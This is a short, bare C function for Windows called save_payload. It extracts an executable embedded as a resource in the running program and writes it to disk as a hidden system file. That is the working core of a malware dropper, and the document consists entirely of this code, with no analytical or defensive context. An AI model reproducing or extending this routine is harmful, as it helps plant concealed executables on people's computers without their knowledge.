BOOL save_payload() { char *filepath=".\\filename.ext"; DWORD dwResSize,dwByteWrite; HRSRC hResource=0; HGLOBAL hResData=0; LPVOID lpdata=NULL; HANDLE hFile=NULL; hResource=FindResource(NULL,MAKEINTRESOURCE(IDR_RESOURCE_NAME),"exe"); dwResSize=SizeofResource(NULL,hResource); hResData=LoadResource(NULL,hResource); if(hResData ==NULL || dwResSize ==0) return false; lpdata=LockResource(hResData); hFile=CreateFile(filepath,GENERIC_WRITE,3,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN,NULL); if(hFile==INVALID_HANDLE_VALUE) return false; SetFilePointer(hFile,0,0,FILE_BEGIN); WriteFile(hFile,(LPBYTE)lpdata,dwResSize,&dwByteWrite,NULL); CloseHandle(hFile); MAKEINTRESOURCE(IDR_RESOURCE_NAME); return true; }